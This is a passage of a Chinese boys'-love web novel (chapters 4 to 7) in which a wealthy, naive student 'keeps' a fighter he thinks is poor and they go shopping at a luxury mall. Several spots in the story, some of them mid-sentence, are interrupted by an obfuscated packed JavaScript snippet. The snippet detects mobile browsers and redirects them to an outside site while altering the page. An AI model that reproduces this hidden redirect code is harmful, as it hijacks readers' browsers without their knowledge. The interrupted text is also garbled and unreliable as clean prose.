“我老婆咋这么厉害呢?我以前真是撞了狗屎运,她一个正儿八经考进名牌大学的大学生,那么出息,竟然看上了我这个在村里挖矿的穷小子,”陶大俊每次说到这儿,都会感叹自己的好命,“哎,儿啊,不知道你以后有没有这么好的机会……” 往日里听腻了的话,如今传入耳中却忽然多了点不同的意味。 陶真不可避免地想到了穿着白衬衫、冷淡而清俊的祝闻声。 他也跟林曼妙女士一样,傲然,出息。 “爸,你就别担心了,”陶真翻了个身,捧着小脸,翘起唇角,“我有!” 陶大俊以往从没听过他这么自信的回复,愣了几秒,笑骂道:“你这臭小子!要是真有这么好的机会,你自己也得加油,不能错过啊。要自己努力干出一番事业来,跟在我后面好好地搞——” 陶真鼓起小脸:“爸,我对化工没兴趣。” “那你用什么养你未来的对象啊?用脸吗?”陶大俊佯怒,无意识地说,“你瞧瞧你,从我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775756|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老婆那遗传到了那么漂亮的一张小脸,怎么就没把她音乐方面的天赋也遗传一下呢?” 陶真脸上的笑容僵住了。 过了两秒,陶大俊也忽然捂住了嘴,意识到了不对。 陶真从牙牙学语开始,就抱着妈妈演出的视频反复看,对音乐这方面显然是有十足的兴趣的。就连高考那会都试着走艺术进入南城大学,可惜最后落了榜,只能靠自己的赞助进入国际交换部。 对此,陶真虽然嘴上什么都没说过,但心底里显然是很失望的。 “儿子啊,”陶大俊干巴巴地说,“爸不是那个意思——” 陶真挂了电话,翻身把自己窝进了被子里,手里那团真丝已经被攥成了一团干巴巴的咸菜。 床上裹成了一小团的蚕蛹安静了一会,忽然又小小地抽动了起来。 他知道自己没什么出息。 成绩不好,也没什么特长,靠着家里的钱进了大学。 浑浑噩噩地活了十八年,跟个呆子一样,每天只知道傻乐。 他也不想这样的,真的。 手机响了又响。 不知到底过了多久,陶真调整完了自己的心情,小乌龟一样慢吞吞地从被子里探了个头出来,点亮了屏幕。 【爹地(大俊):儿子,爸错了,给你道歉,别生气了成不?】 【爹地(大俊):也别跟你妈告状[大哭][大哭]】 【爹地(大俊):[转账200000.00元]】 【爹地(大俊):最近有没有认识什么新朋友啊?跟他们一块出去吃饭,买两件新衣服穿穿。】 【……】 陶真一瞬间又觉得自己好不懂事。 他垂下眼,乖乖地跟他爸也道了歉,说自己不该任性地挂断电话。 把陶大俊感动得疯狂擤鼻涕,连忙又给他转了二十万来,让他赶快跟朋友出去玩。 陶真破涕为笑,心情忽然变得明媚起来。 他跳下床,一边去冰箱找东西吃,一边又点开微信。跟在宣城的两个好朋友聊完天后,他才看见斌子给他发的几条信息。 【陶真啊,今天晚上有空出来玩吗?】 【马上国际部要提前举办一个迎新晚会了,到时候大家都会带同伴去,咱们也趁着这个机会找几个呗?】 陶真一手端着热好的大肘子,一手上滑着屏幕。 迎新晚会?还要带同伴? 他挑了挑眉,咬了块热烫烫的筋下来,双手打字:【不了斌哥,迎新会我去,但今天晚上我就不参与了。】 【我现在也算是有家室的人,不能轻易……】 下半句还没发出去,那头的人却一个电话打了过来。 “喂,陶真?” 陶真嘴里含着东西,不能说话,只含糊地应了一声。 听见这声,不知为何,吴斌仿佛很笃定地笑了起来:“哎哟,别灰心啊,哥们知道你昨天包/养祝闻声没成功。” “啊哈哈哈哈哈哈,不要紧,今天咱带你去gay吧,帮你好好物色几个新人选——” “等等……” 陶真嚼完那块肉,用力地咽下去,一脸茫然:“谁说我没成功的?” “……?” “哦,我昨天忘了告诉你们了,”陶真语气轻松地开口,“我跟祝闻声已经签过恋爱合约了。” “合约期间不能出轨,也不能跟第三者有暧昧关系,所以以后这种局,你们就别再喊我了。” 5. 第 5 章 陶真……竟然……成功了?! 这怎么可能? 那个祝闻声不是很拽吗?前段时间都不知道到底有多少人对他抛出橄榄枝了,其中不乏比陶真有钱的,怎么就只有陶真成功了呢? 就陶真这种没怎么见过世面、穿衣打扮土得要命、被人骗了还浑然不觉的二世祖—— 吴斌倒吸了一口凉气,心底满是不可置信。 他身旁一众围观看热闹的狐朋狗友们见他露出了这副神态,纷纷好奇地凑了个脑袋过来,七手八脚地点开了免提。 通话的“滋滋”电流声瞬间放大,吴斌在众人期盼的目光下再度开口: “你……你确定?别开玩笑了,怎么可能……跟哥们之间就没必要这样了呀,就算失败了你也不要灰心,我们有很多别的选择,天涯何处无芳草……” “我没在开玩笑呀,”陶真很认真地说完,忽然没忍住皱了皱眉,敏锐地意识到有什么不对,“斌哥,不是你鼓励我去追祝闻声的吗?为什么现在我说我追到了,你好像……” 好像原本的算盘落了空,该看的热闹没看到。 所以很震惊,而且根本不为了这件事而感到高兴。 “啊…啊呀!怎么可能呢!” 猛地被戳破伪装,不仅吴斌,所有人的脸上都露出了如出一辙的尴尬神情。他们手忙脚乱地往后退了几步,把烂摊子留给了吴斌一个人。 “我是你朋友,当然是希望你能顺顺利利的了,只不过害怕你心里有事不愿意跟我说……既然你身边已经有人了,那我就不给你介绍了。” 吴斌瞪了一眼众人,咬牙,心中忽生一计:“不过那个迎新会马上就要开始了,别怪哥没提醒你啊,到时候大家都会打扮一下,你有空的话可以把那个祝闻声一块带着,去银游城那边买几件新衣服,这样也好让他有点面子。” “银游城?” “对,我在那边有高级会员卡,也认识不少Sa,如果你要是看上了什么东西,我可以帮你跟人家交涉一下,说不定还能在几家奢侈品门店打个八折呢——” 吴斌捂住听筒冲众人眨了眨眼,瞬间,有人就明白了他的意思,露出了恍然大悟的笑容。 陶真不是说自己真的包/养到祝闻声了吗?他们等下倒是要去银游城看看,他到底是不是打肿脸充胖子。 吴斌热情地说:“你刚来南城,对这些地方还不熟悉吧?要是去的话跟我说一声,我把地址发给你。” 陶真犹豫了一会,最终还是没有抓着这件事不放,慢慢地放下了手机。 虽然心里还是有些狐疑,他却始终不想把人性想得太坏。 而且,吴斌这个想法不错,作为金主,他理应带祝闻声去购置一些衣服,替换掉那些没牌子的白衬衫和牛仔裤。 “行,我下午就带他一块过去。” 说完这句,那头似乎就迫不及待地挂断电话了。 陶真慢吞吞地啃完了那块陶大俊先生亲手制作的大肘子,收拾完碗筷。站在洗手池前深吸了一口气,才摸出手机给祝闻声拨了过去。 “嘟……嘟……嘟……” - Light俱乐部内。 黑漆漆的天花板上吊着数盏刺目耀眼的吸顶灯,配合超过四米的挑空,令上千平米的通透平层显得格外空阔。越过一排整整齐齐的柱型沙袋和普通会员的训练器械,再经过一段挂满了格斗选手比赛照片的走廊,映入眼帘的就是一片崭新的天地。 四周挂网的八角笼,亮眼的聚光灯,完全仿照UFC——终极格斗冠军赛——世界上顶级和规模最庞大的职业综合格斗赛事,一比一打造。 在这样的环境中,祝闻声的手机忽然响了。 伴随着“叮铃铃”的铃声,机身振动。 不一会,就顺着桌子的边缘滚到了地上,发出了“砰”的一声脆响,自动挂断了。 没人注意到这边细微的动静。 因为此时此刻,一场男子中量级友谊赛即将开始。 众人都屏息凝神地望着两位光裸着上半身、露出结实肌肉,赤足踩进笼内的格斗家。 蓝角选手,绰号大狙。 红角选手,祝闻声,绰号S。 “彼此碰拳,退至八角笼边缘,比赛正式开始!” 裁判话音刚落,二人便开始试探彼此。 大狙是个块垒分明的矮个男人,原先在其他俱乐部,最近才刚刚进入Light。在国内颇有一番成绩,因此自视甚高。 他假意挥着拳,快速地打量了一眼面前高挑俊美的少年,心中几乎要嗤笑出声。 教练让他警惕的选手,就这? 一米八八的个头和一米九三的臂展不假,S的硬件条件看起来确实很好,在中量级里能爆杀一大片。可MMA看的不仅仅是身材,更多的是在格斗方面的经验和本事…… 大狙满是戾气的脸上闪过一抹不屑,轻而易举地看出了祝闻声假意要用低扫布置招数,轻松地在正架和反架之间做了切换。然而正在他试图反将一军、给祝闻声一个高踢时,却被祝闻声狠狠一记低扫拽至了地面,两脚朝天地应对着接下来正朝胸口的一击! “噢!!!” “漂亮!S的接腿摔已经成条件反射了!太帅了!” “大狙危险了啊,这一下直接摔没了。” 等、等等! 大狙感觉有什么不太对劲了,他猛地瞪大了眼,双腿高高地举过头顶,却无论如何没法用右腿控制住祝闻声的脖颈、将身子翻过来。 仿佛一击重拳狠狠地砸在眉心,大狙的嘴唇颤抖了起来,他瞪大了眼睛望向了祝闻声。 开始甚至不到一分钟,他就已经处于受控的位置……这怎么可能! 俊美到极点的冷淡少年却若有所感地微微勾起了唇角,他没有放松警惕,反而狠狠地扼住了大狙的身体,以一个可怕的降服体位——十字架控制拿裸绞,将大狙逼至了笼网边缘,紧接着地面锤击,连续几记左手重拳—— 大狙的鲜血瞬间就飞飙了出来,喷射着洒到了四周。 “啊啊啊啊!!” “完了完了,大狙完了。” “我操!S哥开始捣蒜了!” 观众形容的没错,此刻祝闻声的动作看起来就像是在捣蒜。 蒜瓣一捣就烂,而眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775757|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的人也一样。 一拳,两拳,三拳……四周的尖叫几乎快要掀翻屋顶。 黎旻似乎早就已经预料到这个画面,悠闲地在一旁鼓掌,与她截然相反的是大狙的教练,面如死灰,狠狠地掐着自己的大腿。 早就警告过大狙要小心“S”了,可他就是不相信。 明明“S”这个绰号,已经说明了一切。 ——既代表着超越A级的S级超高水平,也代表着蛇和兽,这类恐怖而可怕的捕食者。 MMA的比赛三局,每局五分钟。 第一局的五分钟还没到,大狙就陷入倒地状态,裁判立刻双手比叉,示意回合结束。 祝闻声松开手,居高临下地扫了一眼大狙,微不可见地皱了皱眉。 怎么这么不禁打。 大狙这个名头,再加上比赛开始时他那副不屑且得意的样子……让祝闻声以为今天还能跟他打很久。 结果,才刚热身完,兴奋值才刚刚被搏斗刺激得更加疯狂,根本还没来得及纾解,这人却已经倒地了。 祝闻声漠然地翻出八角笼,顺手捋了一把额前垂落的发丝。 聚光灯打在他的眉骨上,令他的眼窝更加深邃,也显得他漆黑的瞳孔更加阴沉。 他拧了瓶功能补剂压火,环视了一圈四周,正挑选着自己下一个比赛对手,却忽然用余光瞥见了地上的手机。 捡起来一看,屏幕已经磕碎了。 他无暇顾及,因为发信人那很简单的两个字,陶真。 【我刚刚给你打电话你没接,是在上班吗?】 【我等下到酒吧门口找你,带你出去一下,你能跟那边请个假吗?】 “……” 补剂顺着喉咙滚了下去,祝闻声的呼吸微窒了一秒,胸口那股火窜得更旺了。 不知为何,反应过来时,他已经冲着黎旻挥了手,随手套了一件俱乐部的黑色T恤,匆匆地跑下了楼。 迎着八月燥热的风,一直跑到了酒吧门口,祝闻声一眼就在人群中看见了陶真。 金发少年低着头看手机,露出一截雪白而纤细的后颈。纤长浓黑的睫羽垂着,湿漉漉的狗狗眼闪闪发亮,不知是看见了什么有趣的东西,笑起来,露出了那颗俏皮的小虎牙。 祝闻声的步子慢了下来。 陶真感觉到有人注视着自己,条件反射地抬起了头。 在意识到是祝闻声时,他立刻哒哒地跑了过去:“你怎么是从外面过来的?这个天气这么热,你难道……” 祝闻声什么也没说,只是抬起手,遵从本心地捏住了陶真的后颈。 触感细腻柔软,好像一只手握住,就能掌控全身。 陶真本能地瑟缩了一下,却没躲,只是茫然地抬起头:“怎么啦?” 诡异地,祝闻声感觉自己心中那股肆虐的情绪得到了满足。 甚至在抓住陶真的这一刻,他心里的愉悦和兴奋,要远远超过把大狙摁在地上疯狂出拳的那会。 “……没怎么,有个灰尘,”祝闻声若无其事地收回手,捻了捻指尖残余的温度,平复了一下愈发激烈的心跳,“你要带我去哪儿?” 6. 第 6 章 祝闻声的目光沉沉,陶真却没怎么注意到他的不对劲,兴高采烈地“哦”了一声,为他解释道:“是这样的,过段时间我们学校国际部可能会举办一个迎新晚会,到时候所有人都会带同伴一起过去。我想让你陪我一起。” “不过那种场合,一般都需要好好地打扮一下,所以我想提前带你去商场买几件衣服和首饰……” 听到这儿,祝闻声明白了。 陶真是来履行自己作为“金主”的职责了。 若真是某个被包.养的人听见这句话,恐怕要开心的要命。 可祝闻声不是,所以他只能揉了揉自己跳动的眉心,嘴唇没忍住动了动:“迎新晚会我可以陪你去,但买衣服就用不着了,我不缺钱,不需要你再替我花。” 陶真睁大了眼:“那不行的!” 少年人该死的自尊心啊,都已经穷成这样了,祝闻声怎么还说自己不缺钱呢? 这么炎热的天气,但凡对自己好一点,也该乘一辆公交车出行;眼前的少年却是硬生生用自己的双腿跑过来的,不然垂在额前的黑色发丝也不会那么汗湿。 更何况,他说自己有钱,为什么上身穿着的是这么一件普通至极、胸前似乎还印着“Light”字样的黑色T恤呢? 下.身也是一条有些磨损的黑金色短裤。 “我知道你有钱,但是,因为是我要求你陪我一起去迎新会,所以这些花销理应是我来承担,”陶真微微后退了一步,清澈的双眸里含了点心疼,清楚地倒映出了此时此刻祝闻声的模样,“我来买单就好,不要替我省钱,好吗?” 祝闻声沉默了几秒,顺着他的视线看了看自己的打扮。 “你可能误会了,这件衣服……我……” 陶真乖乖地点头,一脸认真地望着他:“嗯?” 祝闻声放弃辩解了,伸手进了口袋。 他决定用银行卡里的余额说话。 事实胜于雄辩,等陶真数清楚那到底有多少个零以后,一切就该清楚了—— 刺目耀眼的阳光下,一个碎了屏的手机被掏了出来。 后壳沾满了血迹,破碎的玻璃碴哆哆嗦嗦地从屏幕边缘滚了下去。 “……” 祝闻声僵住了。 陶真的目光则一瞬间多了更多的东西。 “好了,别说了。我都懂,我都明白,”陶真慢慢上前,吹走了那点仅剩的玻璃碴,怜悯地把手机塞回了祝闻声的口袋,“我喊的车已经到了,我们出发吧。” 祝闻声:“……” 他闭了闭眼,感觉有什么东西跟手机屏幕一样碎了。 怎么就,解释不清楚了呢。 最终,两人还是坐上了去商场的车。 在满是空调凉气的真皮座椅上坐下,祝闻声浑身紧绷的肌肉才渐渐得到放松。他慢慢地活动了一会手腕,后知后觉地发现自己的小臂外侧已经青了,手肘处更是擦破了皮,露出了一块猩红黏腻的血肉。 刚刚肾上腺素飙升时根本感觉不到痛,这会却慢慢泛上了些感觉。 陶真也注意到了他的不对,一把攥住了他的手腕,皱起眉:“这是怎么回事?” “而且,你不是在酒吧工作吗?为什么从外面跑回来?你……还有别的工作吗?” 祝闻声也没有要瞒着陶真的意思:“嗯,调酒其实只是帮朋友忙,偶尔才做一下。” “我是练MMA的,”他顿了顿,又补充了一句,“综合格斗。” 陶真盯着那堪称恐怖的破皮和瘀青看了几秒,轻轻地吹了几口气。 MMA综合格斗嘛,他知道。 按他家乡那边的说法,就是打黑拳的。 陶大俊以前就说过,穷不学艺术,富不学拳击。进入拳击这一行的多数都是家里贫穷,实在养不起孩子了,才会把孩子送去学这些东西。 “我知道,”陶真轻叹了一口气,“打黑……格斗,应该很不容易吧?” 祝闻声的喉结上下滚了滚,从他这个角度,可以清晰地看见金发少年柔软雪白的脸颊。 看起来就很好摸,像小包子一样,很可爱。 “还行。” “那你这次的对手是不是很强啊,不然你手上怎么会有那么多伤呀?” 陶真眼巴巴地望着他,几乎已经脑补出了一场血腥的搏斗。 满是书卷气、勤工俭学的好学生祝闻声,在打黑拳的擂台上,跟一个凶猛强悍的壮汉搏斗,一不留神就被逼到了角落,只能用双手挡住脸,小臂和手肘才变成了这个样子…… 祝闻声回忆了两秒躺在地上抽搐的大狙,给了个中肯的评价:“嗯。” 能打到那个地步,大狙的实力还是有的。 如果不是遇到他,应该还挺强的。 汽车在十字路口向右,一栋极为奢侈的建筑霎时映入眼帘。 银游城是这块的地标建筑,分不清到底谁因谁而得名,总之,它坐落的这条路叫银游路。 陶真对比了一下手机上吴斌发来的地址,眼睛一亮:“到啦!我们等下去里面,先看看服务台有没有碘酒和创可贴,给你的伤口消消毒吧?” 祝闻声却没说话。 他刚刚忘了问两人的目的地,直到此时此刻,顺着陶真的视线往外望去,才微微眯了眯眼。 这地方……有点眼熟。 好像是他十五岁过生日的时候,收到的礼物之一。 所以,陶真要带他来这儿买衣服吗? “没关系,你别看这儿有多高大上,其实就是个普通的商场而已,”陶真将他的犹豫看在眼中,自然而然地理解成了自卑,贴心地解围,“跟在我旁边,万一有人狗眼看人低,就直接怼回去,千万别憋着。” “……”祝闻声意味不明地笑了一下,干脆地放弃了解释,“行。” 他倒想看看,到底谁敢狗眼看人低。 两人下了车,泰然自若地走进了金碧辉煌的银游城。 毕竟是祝家旗下的产业,服务台的小姐都经过培训,并没有因为他们年轻而产生轻视,反而态度很好地为其拿来了碘酒和绷带简单包扎。 直到二人道完谢,离开了服务台,银游城的负责人才姗姗来迟,大惊失色地抹去了额头的冷汗,对着她上下比划了一番:“你刚刚有没有看到一个个子很高,长得很帅,身上有点伤的男生——” 服务台小姐姐收起了医疗包,战战兢兢地点了点头:“看、看见了……” 负责人懊恼地拍了下大腿:“那是咱们小祝总!今天什么风,竟然把他给吹来了。赶快让他们楼上下的人都机灵点,准备好视察……” “……” 暗地里的波涛汹涌,陶真一无所知。 他只觉得,南城的商场确实不一样。 各种奢侈品门店格外齐全也就罢了,路遇的一众售货员也非常礼貌,就算遇到了在门口踟躇的顾客也不会翻白眼,甚至还会弯腰鞠躬邀请他们进来看看。 不愧是大城市,每个人的素质都这么高。 直到走进了一家芬迪门店,被一下子窜出来的热情店长满脸兴奋地递了杯饮料,陶真才终于觉得有点不适应,他扯了扯祝闻声的手腕:“没想到是我小人之心了,他们的态度好得有点过分了……” 祝闻声低头,盯着少年头顶小小的发旋看了几秒,不自觉地扯了下唇角:“嗯,是啊。” “不管了,先看看有没有什么喜欢的衣服吧,”陶真的目光扫过衣架上的一排排陈列,“唔,我感觉都挺适合你的。” 他拿出了一件满是芬迪LOGO的棕色衬衫,兴奋地在祝闻声的身上比划:“诶,这件怎么样?挺帅的,而且料子摸起来也不错……” 祝闻声对这种恨不得在身上写满“我是有钱人”的衣服一向敬谢不敏,微微挪开了目光,视线却不期然地对上了一帮浩浩荡荡的男人。 吴斌站在最前面,脸上挂着势在必得的笑容,视线颇为得意地在四周逡巡。 他手里转着一张在电话里跟陶真炫耀过的高级会员卡,拥有着跟某些奢侈品门店八折的权利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴斌连忙弯腰去捡那张薄薄的卡片,却听见了身旁跟班似感叹似意有所指的声音。 “哎,原来陶真没撒谎啊,他真的跟那个祝闻声在一块了?” “是哦,他还挺有实力的……” 吴斌的动作一僵,脸色越发难看。 他正想跟那些人喷两句,抬起头时,却听见了一声惊呼。 “我操!” “你们看见了吗?那么多件!他哪里来的钱,怎么全买下来了!!” “那个……不是银游城的负责人吗?经常上电视的,我见过他……” 众人齐刷刷地望向那个门店。 在吴斌难以置信的视线中,银游城的负责人笑着走到了陶真的跟前。 陶真还没反应过来,只见负责人手脚飞快,亲自替他打包好那几件衣服,同时贴心地附赠了一张黑金色的贵宾会员卡。 “您对本门店的服务还满意吗?我带您去其他门店继续挑选怎么样?” 陶真懵了一瞬,低头望向手里的卡片:“这是……” “哦,多谢您对我们商场的支持,这是我们特意为您准备的礼物,贵宾会员卡!” 负责人笑眯眯地对陶真说完,又不动声色地扫了一眼一旁的祝闻声,补充道,“有了这张卡,之后您在任何奢侈品门店购买东西,都可以享受到五折的优惠哦——” 没想到啊没想到,向来不近人情的小祝总不是来视察的,而是跟在一个金发少年身旁过来……吃软饭的。 如果光吃软饭也就罢了,偏偏还要自己过来替少年省钱。 哎,这算什么? 我出钱,让人包/养我自己? 负责人没忍住在心里叹了口气:真是搞不懂太子爷的癖好啊! 7. 第 7 章 有“特殊癖好”的太子爷本人则漫不经心地收起了手机。 不远处那群一直盯着陶真的家伙已经躲到他看不见的地方去了,不再像刚刚那样,抱着看好戏的态度、张牙舞爪地在过道里穿行。 也许是嫉妒得恨不得把自己的脸撕烂,没办法出来强撑着寒暄了吧。 陶真到底是怎么惹上这群家伙的? 祝闻声微微眯了眯眼睛,低头看向眼前的金发少年。 陶真在被意外的惊喜砸中以后格外高兴,一双湿漉漉的眼睛仿佛落了璀璨的繁星。 在询问过负责人这张卡的真实性后,他就放下了心中的怀疑,拉着祝闻声,开开心心地进了下一家店铺血拼。 从芬迪买到古驰,从香奈儿买到爱马仕。 一直到傍晚,晚霞染红了一片蔚蓝的天际,两人走出满是空调凉气的商场,迎面被热风扑了个满怀。 陶真偷偷掰开了祝闻声的手心,把手里一半袋子都塞了过去,其中包括一部崭新的顶配版手机。 祝闻声微微愣住。 他还以为自己拒绝了那么多次,陶真已经放弃了。 “不用了,我说过,我对这些东西没兴趣……” “那不行!今天带你出来就是为了给你买东西的。我爸说了,男人最可贵的品质就是说到做到,不画大饼,不说大话,”陶真为了防止他再拒绝,猛地后退了几步,弯着眼,露着小虎牙,稚气十足地说,“是我要带你去迎新会,你陪我,我理应对你好。” 祝闻声抿住唇,低下头,第一次正式地与陶真对视。 少年神采飞扬。 有些狡黠,又有些得意。 “而且,托你的福,我今天才来到这个商场。我以前可从来没体验过这么低的折扣,只花一半的钱就能买到一样的东西呢,”陶真笑眯眯地说,“我给我妈买了新出的彩妆,给我爸买了条新皮带,还给我发小买了……这里的很多东西,宣城都没有呢!” 说罢,他抬起手,晃了晃手里的袋子。 彩妆,皮带……全是他记挂着给旁人买的礼物。 到最后,轮到他自己的时候,已经什么也没有了。 可偏偏他自己还毫无所觉。 祝闻声垂下眼,忽然生出几分微妙的情绪,先前那个恨不得将陶真吞吃入腹的丛林法则落入下风。 他沉默了几秒,忽然开口:“我能问一下么,你昨天晚上为什么要去Light酒吧?” “是谁带你去的么?” 陶真不明白他为什么忽然岔开了话题,只是仰起小脸,诚实又茫然地说:“是呀。我新认识的大学同学说要带我去长长见识……他们也是国际部的,所以还没开学,就提前跟我加了联系方式。” “那几个人叫什么名字,确切长什么样子?” “最先联系我的人叫吴斌……”陶真乖乖地掏出手机,把那几个人的微信资料卡点开给祝闻声看了一眼。 祝闻声不动声色地一一记下,才收回了目光。 果然,就是他下午看见的那伙人。 率先装出一副热情的姿态,让陶真这种对朋友毫无防备心理的土财主心甘情愿地为他们花钱;嫉妒陶真嫉妒得要命,故意给他出了包.养人的损招,却没想到他真的能成功,看笑话的算盘落了空,所以恨得咬牙切齿。 “你以后不要跟他们过多来往了,他们……” ——他们都是骗你的,看你人傻钱多好欺负,就是为了耍你玩。 祝闻声张了张口,看着双眸亮晶晶、笑意盈盈的陶真,无论如何也没法说出剩下的半句话。 骄傲挺着小胸脯的金发少年,提着给家人和朋友买的礼物,像是威风凛凛的小战士,也像囤粮的小仓鼠。 “嗯?他们怎么了?”陶真追问。 祝闻声顿了顿:“……没什么。” 算了。 现在说太残忍,他已经让朋友帮忙了,过段时间——大概到迎新会那会,陶真自己就会从各个渠道发现了。 更何况,陶真自己心里也有数,今天也并没有颠颠地给吴斌那群人买礼物。 “没什么的话就不提了,”陶真眼巴巴地望着祝闻声,“这些东西,你可以收下吗?” “到时候迎新会,你就穿上这些,等我去接你,好不好?” 祝闻声垂下眼,看向自己的手心。 那股微妙,堪称理性和人性融合的情绪,在提醒他: 包养什么的,说到底,只是他和陶真的一时兴起。这种关系,既然能随时终止,那就只是个玩笑。 他现在最该做的,就是揭穿吴斌这群人的虚伪的假面,然后澄清自己和陶真之间的误会,及时抽身。 等迎新会结束,一切就会回到正轨。 那会,大概也是他们的最后一次见面了。 “好吧。” 祝闻声沉默了片刻,慢条斯理地打开了手里沉甸甸的袋子—— 霎时,一条满是芬迪LOGO的棕色花衬衫映入了眼帘。 天空飘来五个字,“我是暴发户”。 “啪”。 祝闻声重新合上了袋子,闭上了双眼。 不行,还是没办法接受。 - 夜幕低垂,灯火通明的高楼鳞次栉比。 陶真送完祝闻声回酒吧,顺路去寄完了快递,又迅速地冲了把澡,回过神时已是饥肠辘辘。 中午的大肘子已经消化完了,他又从冰箱里翻出来了陶大俊先生为他亲手制作的酸菜猪肉馅大饺子,接了一锅水放上灶台,拧开煤气。 等待水烧开的间隙,他顺手打开了微信,点开了置顶一个名为“风华绝代”的三人小群。 这个群名的来源很简单:两男一女,仨个从小一块长大的发小,全部都是绝了后代的同.性.恋。 陶真一下午没看手机了,这会群里已经攒了不少消息。 三人里唯一的女生佟夏又一次爱上了直女,又一次被当成了人家最好的闺蜜。 她这会正在群里发疯,已经到了对祖宗大不敬的地步:【是不是咱们几个家里老坟那里出了问题,不然怎么能没有一个性取向是正常的呢?】 妖娆小gay顾行舟立刻义愤填膺地附和道:【我也觉得!不过我已经喝中药调理好了,我已经封心锁爱,再也不喜欢男人了。】 陶真没忍住笑出声来,把给他寄的快递面单发到了群里,下一秒,顾行舟就如同尖叫鸡一般发了条语音过来: “啊啊啊啊!真宝!我爱死你了!你怎么知道我一直想要这个的!” ——这可真是堪称世界上最火速的打脸。 长着一张萌妹脸的佟夏相当毒舌地评价道:【顾子涵,看起来你的中药也不是很有用嘛。】 顾行舟勃然大怒:“说了别喊我以前的名字!” 他们两人向来这样吵吵闹闹,陶真已经习惯了,顺手把给佟夏的礼物也发到了群里,顿时收获了一枚美女隔空的香吻,以及一句“我要为你变成异性恋”的宣言。 陶真乐了,刚想像从前那样回复“行啊大小姐”,忽然意识到了什么,字到手边拐了个弯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775759|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【真知棒:不行。】 这两个字发出去,屏幕上顿时刷满了来自顾佟两人的问号。 他们可是从光屁股开始就认识的发小,就连陶真处于青春期、懵懵懂懂搞不清自己性取向的时候,都是顾佟两人帮他分析、带他走进新世界大门的。 这会陶真一有不对劲,他们立刻就发现了,一个群通话拨了过来,要对他严刑拷打。 “为什么不行!”顾行舟尖叫道,“陶真,你是不是有什么事瞒着我们!” 灶台上的水“咕嘟咕嘟”地冒起了泡泡,陶真干笑着向两人坦白了自己跟祝闻声之间的关系。 在得知他去酒吧,还包/养了一个勤工俭学、打黑拳的调酒师时,两人都倒吸了一口气,发出了由衷的感叹: 这么些年来,他们两人暗恋或明恋的对象来回换,陶真却一直没有。他们还以为陶真对这方面根本没兴趣呢,没想到他是不鸣则已,一鸣惊人啊。 竟然跳过谈恋爱,直接来到了包/养这一步。 “真宝,别怪我没提醒你,”顾行舟连嗓子都不夹了,“这件事要是让大俊叔叔知道了,你一定会被他揍得屁股开花。” 从不做亏心事的陶真没忍住一抖,手里的酸菜猪肉饺子骨碌骨碌地滚进了锅里,溅起了些许水花。 他知道。 也许他屁股的下场会跟饺子一样。 陶真讷讷道:“可是祝闻声真的很可怜,如果我不养他,他一个打黑拳的穷学生,一定会被别人欺负死的……” 佟夏也叹了口气:“子涵说的对。” “再说了,你怎么知道那个被你包.养的人不是故意给你下套呢?你确定他真的跟你说的那样穷得叮当响?” 陶真:“我确定!” 他从五十块钱的包养费,想到那个碎了屏幕的手机,只觉心中悲怆。 小男友实在是太惨了。 夏夏和子涵两个人是没看见,不然他们一定能明白的。 “……行吧行吧,反正,你别吃亏就行。” 眼看陶真这副样子,佟夏也没办法,“他长什么样啊?有没有照片?” “对啊,你都花钱了,怎么着也得回本吧!”顾行舟这个妖娆小gay抓住了重点,眼睛渐渐亮了起来,“真宝,你这么多年,根本还没开过荤吧??” 锅里的饺子飘了起来,陶真扎了一个试熟没熟。 闻言,他一噎,险些呛个半死,脸“唰”地一下红透了:“咳、咳咳咳……” “子涵,你脑袋里怎么全是这些东西啊,”佟夏叹了口气,仿佛对他很失望,“真宝,那个男的大吗?多少厘米?” 她张口就来:“少于十八的不能要啊,被别人用过的也不能要。” “……” “佟夏!你好意思说我!” 顾行舟尖叫完,话锋一转:“我的建议是,你下次接他一起出去的时候,找个机会跟他一起上厕所。” “然后呢,你先看一眼,如果是婴儿手臂、青筋暴起,比较令人满意的话,你就问他需不需要你帮忙扶——” 陶真满脸涨红,反手“啪”地一下挂断了电话。 锅里的水彻底沸腾了起来,白胖的饺子翻腾沉浮。热气蒸人,刚刚才洗完的澡,这会身上又满是汗。 